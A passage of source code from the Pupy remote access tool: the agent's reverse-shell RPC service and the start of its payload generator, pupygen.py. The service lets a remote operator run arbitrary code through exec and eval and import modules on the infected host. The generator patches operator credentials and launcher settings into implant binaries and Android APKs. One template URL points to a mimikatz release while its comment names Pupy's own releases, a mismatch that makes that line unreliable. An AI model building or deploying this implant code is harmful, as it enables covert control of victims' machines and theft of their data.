            agent.remote_error('Pstore (load)')
            return

        if type(data) == dict:
            self._pstore.update(data)

    def store(self):
        if not self._pstore:
            return

        pstore_dir = os.path.dirname(self._pstore_path)
        try:
            if not os.path.isdir(pstore_dir):
                os.makedirs(pstore_dir)

            with open(self._pstore_path, 'w+b') as pstore:
                data = pickle.dumps(self._pstore)
                data = append_PKCS7_padding(data)
                data = NewAESCipher(*self._pstore_key).encrypt(data)
                pstore.write(data)

        except:
            agent.remote_error('Pstore (store)')
            return


================================================
FILE: pupy/agent/psutil_hacks.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys


if sys.platform == 'win32' and sys.version_info.major < 3:
    def apply_psutil_hacks():
        try:
            import psutil
        except ImportError:
            return

        psutil._pswindows.py2_strencode = lambda x: x

else:
    def apply_psutil_hacks():
        pass


================================================
FILE: pupy/agent/service.py
================================================
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

import threading
import os
import json
import random
import zlib
import time

from pupy.network import conf
from pupy.network.lib.base_launcher import LauncherError
from pupy.network.lib.connection import PupyConnection
from pupy.network.lib.streams.PupySocketStream import PupyChannel
from pupy.network.lib.buffer import Buffer
from pupy.network.lib.msgtypes import MSG_TYPES_PACK
from pupy.network.lib.rpc.core.service import Service, ModuleNamespace
from pupy.network.lib.compat import execute, with_metaclass, as_native_string

import umsgpack

import pupy.agent as agent

if sys.version_info.major > 2:
    xrange = range
    builtin = 'builtins'
else:
    builtin = '__builtin__'

REVERSE_SLAVE_CONF = dict(
    allow_all_attrs=True,
    allow_public_attrs=True,
    allow_pickle=True,
    allow_getattr=True,
    allow_setattr=True,
    allow_delattr=True,
    import_custom_exceptions=False,
    propagate_SystemExit_locally=True,
    propagate_KeyboardInterrupt_locally=True,
    instantiate_custom_exceptions=True,
    instantiate_oldstyle_exceptions=True,
)


class Namespace(dict):
    pass


class Cleanups(list):
    pass


logger = agent.get_logger('service')
_all = as_native_string('*')


def _import(name):
    return __import__(
        as_native_string(name),
        None, None, (_all,)
    )


class UpdatableModuleNamespace(ModuleNamespace):
    __slots__ = ()

    def __invalidate__(self, name):
        cache = self._ModuleNamespace__cache
        if name in cache:
            del cache[name]

    def __getitem__(self, name):
        return super(UpdatableModuleNamespace, self).__getitem__(name)

    exposed___getitem__ = __getitem__

    def __getattr__(self, name):
        if name.startswith('___'):
            if __debug__:
                logger.debug('Access UpdatableModuleNamespace.%s - deny', name)

            raise AttributeError(name)
        elif name.startswith('exposed_'):
            if __debug__:
                logger.debug(
                    'Access UpdatableModuleNamespace.%s - '
                    'fix invalid exposed_', name
                )

            name = name[8:]

        name = as_native_string(name)

        try:
            result = super(UpdatableModuleNamespace, self).__getattr__(name)
        except AttributeError:
            if __debug__:
                logger.debug(
                    'Access UpdatableModuleNamespace.%s -> not found', name
                )

            raise

        if __debug__:
            logger.debug(
                'Access UpdatableModuleNamespace.%s -> %s', name, result
            )

        return result


class ReverseSlaveService(Service):
    """ Pupy reverse shell rpyc service """

    __slots__ = (
        'exposed_namespace', 'exposed_cleanups', 'client'
    )

    def __init__(self, conn):
        self.exposed_namespace = Namespace()
        self.exposed_cleanups = Cleanups()

        super(ReverseSlaveService, self).__init__(conn)

    def on_connect(self):
        self.exposed_namespace = Namespace()
        self.exposed_cleanups = Cleanups()
        self._conn._config.update(REVERSE_SLAVE_CONF)

        pupyimporter = __import__('pupyimporter')
        is_purepy = sys.purepy
        self._conn.root.initialize_v2(
            1, (
                sys.version_info.major,
                sys.version_info.minor
            ),
            self.exposed_namespace,
            agent.namespace,
            __import__(builtin),
            self.exposed_register_cleanup,
            self.exposed_unregister_cleanup,
            self.exposed_exit,
            self.exposed_eval,
            self.exposed_execute,
            self.exposed_get_infos(),
            tuple(sys.modules),
            tuple(pupyimporter.modules),
            pupyimporter,
            {
                function: getattr(pupyimporter, function)
                for function in dir(pupyimporter)
                if hasattr(getattr(pupyimporter, function), '__call__')
            },
            is_purepy
        )

    def on_disconnect(self):
        try:
            if self.client.terminated:
                return

            for cleanup in self.exposed_cleanups:
                try:
                    cleanup()
                except Exception as e:
                    agent.remote_error('Disconnect/cleanup: {}', e)

            self.exposed_cleanups = []

        finally:
            try:
                self._conn.close()
            except Exception as e:
                agent.remote_error('Disconnect/close: {}', e)

            if os.name == 'posix':
                try:
                    for _ in xrange(1024):
                        if not os.waitpid(-1, os.WNOHANG):
                            break

                except OSError:
                    pass

    def exposed_exit(self):
        logger.debug('TERMINATION REQUEST')

        if agent.manager:
            logger.debug('Send termination event to all tasks')
            agent.manager.event(agent.manager.TERMINATE)

        if self._conn:
            self._conn.close()

        if self.client:
            self.client.terminate()
        else:
            logger.warning('Client not set, termination status was not set')

        for thread in threading.enumerate():
            if not thread.daemon:
                logger.debug('Non daemon thread: %s', thread)

    def exposed_register_cleanup(self, method):
        self.exposed_cleanups.append(method)

    def exposed_unregister_cleanup(self, method):
        self.exposed_cleanups.remove(method)

    def exposed_execute(self, text):
        """execute arbitrary code (using ``exec``)"""
        try:
            execute(text, self.exposed_namespace)
        except Exception as e:
            logger.debug(
                'Execute failed: arg type=%s arg=%s: %s',
                type(text), text, e
            )

            raise

    def exposed_get_infos(self, s=None):
        if not s:
            infos = {}

            if self.client:
                infos.update(self.client.iteritems())
                infos['launcher'] = self.client.launcher

            debug, debug_file = agent.get_debug()

            infos.update({
                'debug': debug,
                'debug_logfile': debug_file,
                'revision': agent.revision,
                'native': agent.is_native()
            })

            return infos

        return self.client[s]

    def exposed_eval(self, text):
        """evaluate arbitrary code (using ``eval``)"""
        return eval(text, self.exposed_namespace)

    def exposed_getmodule(self, name):
        """imports an arbitrary module"""
        return _import(name)

    def exposed_obtain_call(self, function, packed_args):
        if packed_args is not None:
            packed_args = zlib.decompress(packed_args)
            args, kwargs = umsgpack.loads(packed_args)
        else:
            args, kwargs = [], {}

        result = function(*args, **kwargs)

        packed_result = umsgpack.dumps(result)
        packed_result = zlib.compress(packed_result)

        return packed_result

    def exposed_msgpack_dumps(self, obj, compressed=False):
        data = Buffer(compressed=compressed)
        umsgpack.dump(obj, data)
        data.flush()
        return data

    def exposed_json_dumps(self, obj, compressed=False):
        try:
            data = json.dumps(obj, ensure_ascii=False)
        except:
            try:
                import locale
                data = json.dumps(
                    obj,
                    ensure_ascii=False,
                    encoding=locale.getpreferredencoding()
                )
            except:
                data = json.dumps(
                    obj,
                    ensure_ascii=False,
                    encoding='latin1'
                )

        if compressed:
            if not isinstance(data, bytes):
                data = data.encode('utf-8')

            data = zlib.compress(data)

        return data

    def exposed_getconn(self):
        """returns the local connection instance to the other side"""
        return self._conn


class BindSlaveService(ReverseSlaveService):

    def on_connect(self):
        agent.dprint('Bind service: on_connect called')

        try:
            from pupy_credentials import BIND_PAYLOADS_PASSWORD
            password = BIND_PAYLOADS_PASSWORD

            agent.dprint('Expected password: {}', repr(password))

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            password = credentials['BIND_PAYLOADS_PASSWORD']

            agent.dprint('Expected password: {} (fallback)', repr(password))

        remote_password = self._conn.root.get_password()

        agent.dprint('Remote password: {}', remote_password)

        if remote_password != password:
            self._conn.close()
            raise KeyboardInterrupt("wrong password")

        super(BindSlaveService, self).on_connect()


class PupyClient(object):
    __slots__ = (
        'cid', 'delays',
        '_launcher', 'launcher_args', 'terminated',
        'connection_info', '_connection', '_attempt',
        '_bind_service', '_connect_service', '_custom_info',
        '_broadcast_event'
    )

    def __init__(self, cid, launcher, launcher_args, delays):
        self.cid = cid
        self._launcher = launcher
        self.launcher_args = launcher_args
        self.delays = delays
        self.terminated = False
        self._attempt = 0
        self._custom_info = {}
        self._broadcast_event = None

        class client_initializer(type):
            __slots__ = ()

            def __init__(cls, *args, **kwargs):
                super(client_initializer, cls).__init__(*args, **kwargs)
                cls.client = self

        class WrappedBindSlaveService(
                with_metaclass(client_initializer, BindSlaveService)):
            pass

        class WrappedReverseSlaveService(
                with_metaclass(client_initializer, ReverseSlaveService)):
            pass

        self._bind_service = WrappedBindSlaveService
        self._connect_service = WrappedReverseSlaveService

        self.reset_connection_info()

    def set_broadcast_event(self, callback):
        self._broadcast_event = callback

    def broadcast_event(self, eventid, *args, **kwargs):
        if self._connection:
            logger.debug(
                'Pupy connected: broadcast event via connection. EventId = %08x',
                eventid)

            try:
                self._connection.root.broadcast_event(eventid, *args, **kwargs)
                return
            except Exception as e:
                logger.exception(e)

        if self._broadcast_event:
            logger.debug(
                'Pupy is not connected, but broadcast_event defined (%s). EventId = %08x',
                agent.broadcast_event, eventid)

            try:
                self._broadcast_event(eventid, *args, **kwargs)
                logger.debug('Pupy connected: broadcast completed')
                return
            except Exception as e:
                logger.exception(e)

        logger.debug(
            'No way to report event. EventId = %08x', eventid)

    def set_connection_info(self, connection):
        self.connection_info = {
            'hostname': self._launcher.hostname,
            'host': self._launcher.host,
            'port': self._launcher.port,
            'proxies': self._launcher.proxies,
            'transport': self._launcher.transport
        }

        self._connection = connection

    def reset_connection_info(self):
        self.connection_info = {}
        self._connection = None

    def terminate(self):
        self.terminated = True
        if self._connection:
            try:
                self._connection.close()
            except EOFError:
                pass

    def __getitem__(self, key):
        if key.startswith('_'):
            return

        if key in PupyClient.__slots__:
            return getattr(self, key)

        if key in self._custom_info:
            return self._custom_info[key]

    @property
    def connected(self):
        if not self._connection:
            return False

        return True

    @property
    def launcher(self):
        return self._launcher.name

    def set_info(self, key, value):
        if key in PupyClient.__slots__:
            setattr(self, key, value)
            agent.dprint('set client info {}: {}', key, value)
            return

        self._custom_info[key] = value
        agent.dprint('set custom info {}: {}', key, value)

    def unset_info(self, key):
        if key in PupyClient.__slots__:
            setattr(self, key, None)
            agent.dprint('unset client info {}', key)
            return

        try:
            del self._custom_info[key]
            agent.dprint('unset custom info {}', key)
        except KeyError:
            pass

    def iteritems(self):
        for key in PupyClient.__slots__:
            if key.startswith('_'):
                continue

            yield key, getattr(self, key)

        for key in self._custom_info:
            yield key, self._custom_info[key]

    def _get_next_wait(self):
        for conf_attempt, delay_min, delay_max in self.delays:
            if conf_attempt == -1 or self._attempt < conf_attempt:
                return random.randint(delay_min, delay_max)

        return random.randint(150, 300)

    def _iterate_launcher(self):
        stream = None
        for ret in self._launcher.iterate():
            logger.debug('Operation state: Terminated = %s', self.terminated)

            if self.terminated:
                logger.warning('Loop terminated')
                break

            logger.debug('Acquire launcher: %s', ret)

            try:
                if isinstance(ret, tuple):  # bind payload
                    server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                    self.set_connection_info(
                        server_class(
                            self._bind_service,
                            port=port,
                            hostname=address,
                            authenticator=authenticator,
                            stream=stream,
                            transport=transport,
                            transport_kwargs=transport_kwargs,
                            pupy_srv=None,
                        )
                    )

                    self._connection.start()

                else:  # connect payload
                    stream = ret

                    self.set_connection_info(
                        PupyConnection(
                            None,
                            self._connect_service,
                            PupyChannel(stream), config={},
                            ping=stream.KEEP_ALIVE_REQUIRED
                        )
                    )

                    self._connection.init()
                    self._connection.loop()
                    self._attempt = 0

            except SystemExit:
                raise

            except EOFError:
                pass

            except Exception as e:
                logger.error(e)
                agent.remote_error('Iterate launcher: {}', e)

            finally:
                logger.debug('Launcher completed')

                self.reset_connection_info()

                if stream is not None:
                    try:
                        stream.close()
                    except:
                        pass

            if self.terminated:
                break

    def run(self):
        while not self.terminated:
            try:
                self._iterate_launcher()

            except Exception as e:
                agent.remote_error('Launcher: {}', e)

                if type(e) == SystemExit:
                    self.terminated = True

            finally:
                if not self.terminated:
                    sleep_secs = self._get_next_wait()
                    logger.info(
                        'Attempt %d - reconnect in %d seconds...',
                        self._attempt, sleep_secs)
                    time.sleep(sleep_secs)

                    self._attempt += 1


def run(config):
    launcher = config.get('launcher')
    launcher_args = config.get('launcher_args')
    scriptlets = config.pop('scriptlets', [])

    logger.debug('Launcher: %s', launcher)
    logger.debug('Launcher args: %s', launcher_args)

    if launcher not in conf.launchers:
        sys.exit("No such launcher: %s" % launcher)

    launcher = conf.launchers[launcher]()

    try:
        launcher.parse_args(launcher_args)
    except LauncherError as e:
        launcher.arg_parser.print_usage()
        sys.exit(e)

    if scriptlets:
        logger.debug('Start scriptlets')

        for scriptlet in scriptlets:
            try:
                exec(scriptlet)
            except Exception as e:
                logger.exception(e)

        logger.debug('Scriptlets completed')

    logger.debug('CID: %08x', config.get('cid', 0))

    agent.namespace = UpdatableModuleNamespace(_import)

    agent.client = PupyClient(
        config.get('cid', 1337),
        launcher, launcher_args,
        config.get(
            'delays', (
                (3, 5, 10),
                (5, 10, 30),
                (10, 30, 60),
                (-1, 60, 240)
            )
        )
    )

    agent.client.run()

    logger.debug('Exited')

    # sometimes the client does not exit properly
    time.sleep(10)
    sys.exit(0)


================================================
FILE: pupy/agent/ssl_hacks.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ('apply_ssl_hacks',)

import sys
import socket


def set_default_timeout(timeout=60):
    socket.setdefaulttimeout(timeout)


def change_default_verify_paths():
    if sys.platform == 'win32':
        return

    import ssl

    setattr(ssl, '_SSL_FILES', [
        "/etc/ssl/certs/ca-certificates.crt",
        "/etc/pki/tls/certs/ca-bundle.crt",
        "/etc/ssl/ca-bundle.pem",
        "/etc/pki/tls/cacert.pem",
        "/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem",
    ])

    setattr(ssl, '_SSL_PATHS', [
        "/etc/ssl/certs",
        "/system/etc/security/cacerts",
        "/usr/local/share/certs",
        "/etc/pki/tls/certs",
        "/etc/openssl/certs",
        "/etc/opt/csw/ssl/certs",
    ])

    def set_default_verify_paths(self):
        for path in ssl._SSL_PATHS:
            try:
                self.load_verify_locations(capath=path)
            except:
                pass

        for path in ssl._SSL_FILES:
            try:
                self.load_verify_locations(cafile=path)
            except:
                pass

        del path

    ssl.SSLContext.set_default_verify_paths = set_default_verify_paths


def apply_ssl_hacks():
    set_default_timeout()
    change_default_verify_paths()


================================================
FILE: pupy/agent/utils.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'pupy_add_package', 'has_module', 'has_dll', 'new_modules',
    'new_dlls', 'invalidate_module',
    'register_package_request_hook', 'register_package_error_hook',
    'unregister_package_error_hook', 'unregister_package_request_hook',
    'safe_obtain', 'register_pupyimporter'
)

import sys
import zlib
import gc

import umsgpack

if sys.version_info.major > 2:
    import pickle
else:
    import cPickle as pickle


import pupy.agent
logger = None


def pupy_add_package(pkdic, compressed=False, name=None):
    ''' Update the modules dictionary to allow
        remote imports of new packages
    '''
    global logger
    if logger is None:
        logger = pupy.agent.get_logger('utils')
    import pupy_modules
    import logging
    logger.setLevel(logging.DEBUG)
    logger.debug(
        'Add package (size=%d compressed=%s name=%s)',
        len(pkdic), compressed, name)

    if compressed:
        pkdic = zlib.decompress(pkdic)

    module = pickle.loads(pkdic)

    logger.debug('Add files: %s', tuple(module))
    pupy_modules.modules.update(module)


def has_module(name):
    import pupy_modules
    try:
        if (name in sys.modules or name in sys.builtin_module_names or name in pupy_modules.modules):
            return True

        fsname = name.replace('.', '/')
        fsnames = (
            '{}.py'.format(fsname),
            '{}/__init__.py'.format(fsname),
            '{}.pyd'.format(fsname),
            '{}.so'.format(fsname)
        )

        for module in pupy_modules.modules:
            if module.startswith(fsnames):
                return True

        """
        if not pupy.agent.is_native():
            try:
                from importlib.machinery import PathFinder
                if PathFinder.find_module(name) is not None:
                    return True
            except Exception as e:
                logger.debug("Exception: %s", e)
                pass
        """
        return False

    except Exception as e:
        pupy.agent.dprint(
            'has_module Exception: {}/{} (type(name) == {})',
            type(e), e, type(name)
        )


def has_dll(name):
    return name in pupy.agent.dlls


def new_modules(names):
    pupy.agent.dprint('new_modules call: {}/{}', names, len(names))

    try:
        return [
            name for name in names if not has_module(name)
        ]

    except Exception as e:
        pupy.agent.dprint(
            'new_modules Exception: {}/{} (type(names) == {})',
            type(e), e, type(names)
        )

        return names


def new_dlls(names):
    return tuple(
        name for name in names if not has_dll(name)
    )


def invalidate_module(name):
    import pupy_modules
    for item in list(pupy_modules.modules):
        if item.startswith((name+'/', name+'.')):
            pupy.agent.dprint('Remove {} from pupyimporter.modules'.format(item))
            del pupy_modules.modules[item]

    for item in list(sys.modules):
        if not (item == name or item.startswith(name+'.')):
            continue

        del sys.modules[item]

        if pupy.agent.namespace:
            pupy.agent.dprint('Remove {} from rpyc namespace'.format(item))
            pupy.agent.namespace.__invalidate__(item)

    gc.collect()


def register_package_request_hook(hook):
    import pupy_hooks
    pupy_hooks.remote_load_package = hook

def register_package_error_hook(hook):
    # Must be importer at low level, because
    # may not be possible to load network.* at early phase
    from pupy.network.lib.rpc import nowait
    import pupy_hooks
    pupy_hooks.remote_print_error = nowait(hook)

def unregister_package_error_hook():
    import pupy_hooks
    pupy_hooks.remote_print_error = None


def unregister_package_request_hook():
    import pupy_hooks
    pupy_hooks.remote_load_package = None


def safe_obtain(proxy):
    # Safe version of rpyc's rpyc.utils.classic.obtain,
    # without using pickle.

    if type(proxy) in [list, str, bytes, dict, set, type(None)]:
        return proxy

    try:
        conn = object.__getattribute__(proxy, '____conn__')()
    except AttributeError:
        return proxy

    if not hasattr(conn, 'obtain'):
        setattr(conn, 'obtain', conn.root.msgpack_dumps)

    return umsgpack.loads(
        zlib.decompress(
            conn.obtain(proxy, compressed=True)
        )
    )


# RPC API for fake pupyimporter module

def register_pupyimporter():
    import pupy_modules
    pupyimporter = pupy.agent.make_module('pupyimporter')

    PUPYIMPORTER_API_UTILS = (
        pupy_add_package, has_module, has_dll, new_modules,
        new_dlls, invalidate_module,
        register_package_request_hook, register_package_error_hook,
        unregister_package_error_hook, unregister_package_request_hook
    )

    for export in PUPYIMPORTER_API_UTILS:
        setattr(pupyimporter, export.__name__, export)

    setattr(pupyimporter, 'load_dll', pupy.agent.load_dll)
    setattr(pupyimporter, 'modules', pupy_modules.modules)

    return pupyimporter


================================================
FILE: pupy/agent/winerror_hacks.py
================================================
# -*- coding: utf-8 -*-

import ctypes
import sys

from ctypes import (
    cast, byref, windll
)

from ctypes.wintypes import (
    DWORD, LPCVOID, LPWSTR, LPVOID
)

kernel32 = windll.kernel32

LocalFree = kernel32.LocalFree
LocalFree.argtypes = (LPVOID,)

FormatMessageW = kernel32.FormatMessageW
FormatMessageW.restype = DWORD
FormatMessageW.argtypes = (
    DWORD, LPCVOID, DWORD, DWORD, LPWSTR,
    DWORD, LPVOID
)

FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x100
FORMAT_MESSAGE_FROM_SYSTEM = 0x1000

FORMAT_MESSAGE_FLAGS = \
    FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER


orig_FormatError = ctypes.FormatError


def FormatMessage(code):
    lpBuffer = LPWSTR()

    result = FormatMessageW(
        FORMAT_MESSAGE_FLAGS, None,
        DWORD(code),
        0x409,  # Always use English
        cast(byref(lpBuffer), LPWSTR),
        0, None
    )

    if not result:
        raise ctypes.WinError()

    msg = lpBuffer.value.rstrip()
    LocalFree(lpBuffer)

    # We can't use network.lib.convcompat at this point
    if sys.version_info.major < 3:
        msg = msg.encode('utf-8')

    return msg


def apply_winerror_hacks():
    setattr(ctypes, 'FormatError', FormatMessage)


================================================
FILE: pupy/cli/__init__.py
================================================


================================================
FILE: pupy/cli/__main__.py
================================================
#!/usr/bin/env python3
# -*- coding: UTF8 -*-
from pupy.cli.pupysh import main

main()


================================================
FILE: pupy/cli/pupygen.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)

# Pupy is under the BSD 3-Clause license. see the LICENSE file at the
# root of the project for the detailed licence terms

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import argparse
import sys
import os.path
import random
import string
import zipfile
import tarfile
import tempfile
import shutil
import subprocess

import marshal
import base64
import os
import pylzma
import struct
import pefile
import errno

from io import open, BytesIO

from pupy.pupylib.utils.downloader import download
from pupy.pupylib.utils.listener import get_listener_ip, get_listener_port
from pupy.pupylib.utils.jarsigner import jarsigner
from pupy.pupylib.payloads import dependencies
from pupy.pupylib.utils.arch import make_template_arch
from pupy.pupylib.payloads.dotnet import dotnet_serve_payload, DotNetPayload
from pupy.pupylib.payloads.py_oneliner import (
    serve_payload, pack_py_payload, getLinuxImportedModules
)
from pupy.pupylib.PupyCompile import pupycompile
from pupy.pupylib.PupyConfig import PupyConfig
from pupy.pupylib.PupyLogger import getLogger
from pupy.pupylib.PupyOutput import (
    Success, Warn, Error, List, Table, MultiPart, Color, Info
)
from pupy.network.conf import transports, launchers
from pupy.network.lib.base_launcher import LauncherError
from pupy.scriptlets import (
    load_scriptlets, ScriptletsPacker, ScriptletArgumentError
)
from pupy.modules.lib.windows.powershell import obfuscatePowershellScript
from pupy.pupylib.PupyCredentials import Credentials, EncryptionError
from pupy.network.lib.convcompat import reprb

logger = getLogger('gen')

# "https://github.com/n1nj4sec/pupy/releases"
PRECOMPILED_TEMPLATES_DOWNLOAD_URL ="https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z"
HARDCODED_CONF_SIZE = 500000
from pupy.pupylib import ROOT

if sys.version_info.major > 2:
    unicode = str
    xrange = range

    def bord(x):
        return x
else:
    bord = ord


class NoOutput(Exception):
    pass


def get_pyver(pyver, config):
    default = config.get('gen', 'pyver')

    if pyver is not None:
        if pyver == 2:
            return '27'
        elif pyver == 38:
            # Here will be some default supported Py3 version
            return '38'
        elif pyver == 310:
            # Here will be some default supported Py3 version
            return '310'
    elif default:
        return default
    else:
        raise ValueError('Unknown python version')


def get_edit_binary(target, display, path, conf):
    logger.debug('generating binary %s with conf: %s', path, conf)

    binary = b''

    with open(path, 'rb') as f:
        binary = f.read()

    i = 0
    offsets = []
    is_pyoxidizer = False
    if binary.find(b'OxidizedResource', 0) != -1:
        is_pyoxidizer = True
    while True:
        i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1)
        if i == -1:
            break

        offsets.append(i)

    if not offsets:
        raise Exception(
            'Error: the offset to edit the config have not been found'
        )

    elif len(offsets) > 1:
        raise Exception(
            'Error: multiple offsets to edit the config have been found'
        )

    config = get_raw_conf(display, conf)
    pupylib = dependencies.importer(
        target, (
            'pupy.network', 'pupy.agent'
        ), ignore_native=True, as_dict=True
    )
    
    if is_pyoxidizer:
        logger.debug("pyoxidizer binary detected")
        pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#"
        new_conf = pyoxidizer_bootstrap.encode('ascii')
        new_conf_len = len(pyoxidizer_bootstrap)
    else:
        new_conf = marshal.dumps([config, pupylib], 2)

        logger.debug(
            'First marshalled bytes: %s (total=%d)',
            ' '.join(
                '{:02x}'.format(bord(c)) for c in new_conf[:64]
            ), len(new_conf)
        )
        
        uncompressed = len(new_conf)
        new_conf = pylzma.compress(new_conf)

        compressed = len(new_conf)
        new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
        new_conf_len = len(new_conf)

    if new_conf_len > HARDCODED_CONF_SIZE:
        raise Exception(
            'Error: config or offline script too long ({}/{} bytes)'
            'You need to recompile the dll with '
            'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE)
        )
    #if not is_pyoxidizer:
    #    new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)
    #else:
    #    new_conf = new_conf + (b"#"*(HARDCODED_CONF_SIZE-new_conf_len))

    logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len)

    offset = offsets[0]
    logger.debug('Editing config at offset : %d', offset)
    logger.debug('First compressed bytes written: %s',
            ' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]])
            )

    binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):]

    
    if binary[:2] == b'MZ':
        pe = pefile.PE(data=binary, fast_load=True)
        pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()
        binary = pe.write()
    

    return binary


def get_raw_conf(display, conf, verbose=False):

    credentials = Credentials(role='client')

    if 'offline_script' not in conf:
        offline_script = ''
    else:
        offline_script = conf['offline_script']

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
        if hasattr(launcher, 'credentials') else set([])

    transport = launcher.transport
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)

    elif not transport:
        for name in transports:
            transports_list.append(name)
            transports_conf = transports[name]

            if transports_conf.credentials:
                for cred_name in transports_conf.credentials:
                    required_credentials.add(cred_name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(
            available,
            bullet=Color('+', 'green'),
            caption=Success('Required credentials (found)')
        )
    )

    if not_available:
        display(
            List(
                not_available,
                bullet=Color('-', 'red'),
                caption=Error('Required credentials (not found)')
            )
        )

    embedded_credentials = {
        credential: credentials[credential]
        for credential in required_credentials
        if credentials[credential] is not None
    }

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (
                k in ('offline_script') and v
            ) else (
                unicode(v) if type(v) not in (tuple, list, set) else ' '.join(
                    unicode(x) for x in v
                )
            )
        } for k, v in conf.items() if v]

        display(
            Table(
                config_table,
                ['KEY', 'VALUE'],
                Color('Configuration', 'yellow'), vspace=1
            )
        )

    config = {
        'credentials': embedded_credentials,
        'scriptlets': [offline_script] or [],
        'debug': conf.get('debug', False),
        'launcher': conf['launcher'],
        'launcher_args': conf['launcher_args'],
        'cid': conf.get('cid', 0x31338),
        'delays': conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)
        ])
    }

    return config


def updateZip(zipname, filename, data):
    # generate a temp file
    tmpfd, tmpname = tempfile.mkstemp(dir=os.path.dirname(zipname))
    os.close(tmpfd)

    # create a temp copy of the archive without filename
    with zipfile.ZipFile(zipname, 'r') as zin:
        with zipfile.ZipFile(tmpname, 'w') as zout:
            zout.comment = zin.comment  # preserve the comment
            for item in zin.infolist():
                if item.filename != filename:
                    zout.writestr(item, zin.read(item.filename))

    # replace with the temp archive
    os.remove(zipname)
    os.rename(tmpname, zipname)

    # now add filename with its new data
    with zipfile.ZipFile(
            zipname, mode='a', compression=zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(filename, data)


def updateTar(arcpath, arcname, file_path):
    tempdir = tempfile.mkdtemp(prefix='tmp_pupy_')

    try:
        with tarfile.open(arcpath, 'r') as tfr:
            names = tfr.getnames()
            tfr.extractall(tempdir)
            for root, dirs, files in os.walk(tempdir):
                for dir in dirs:
                    os.chmod(os.path.join(root, dir), 0o700)
                for file in files:
                    os.chmod(os.path.join(root, file), 0o600)

            with tarfile.open(arcpath+'2', 'w:gz') as tfw:
                for n in names:
                    if n != arcname:
                        tfw.add(
                            os.path.join(tempdir, n),
                            arcname=n, recursive=False
                        )
                    else:
                        tfw.add(
                            file_path,
                            arcname=n, recursive=False
                        )

        shutil.copy(arcpath+'2', arcpath)

    finally:
        shutil.rmtree(tempdir)


def get_edit_apk(target, display, path, conf):
    credentials = Credentials(role='control')

    priv_key = credentials['APK_PRIV_KEY']
    pub_key = credentials['APK_PUB_KEY']

    if not priv_key or not pub_key:
        raise ValueError(
            'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY '
            'credentials missing (old credentials)'
        )

    tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
    fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")

    try:
        packed_payload = pack_py_payload(
            target, display, get_raw_conf(display, conf), autostart=False
        )

        shutil.copy(path, tempapk)

        # extracting the python-for-android install tar from the apk
        zf = zipfile.ZipFile(path, 'r')
        zf.extract('assets/private.mp3', tempdir)
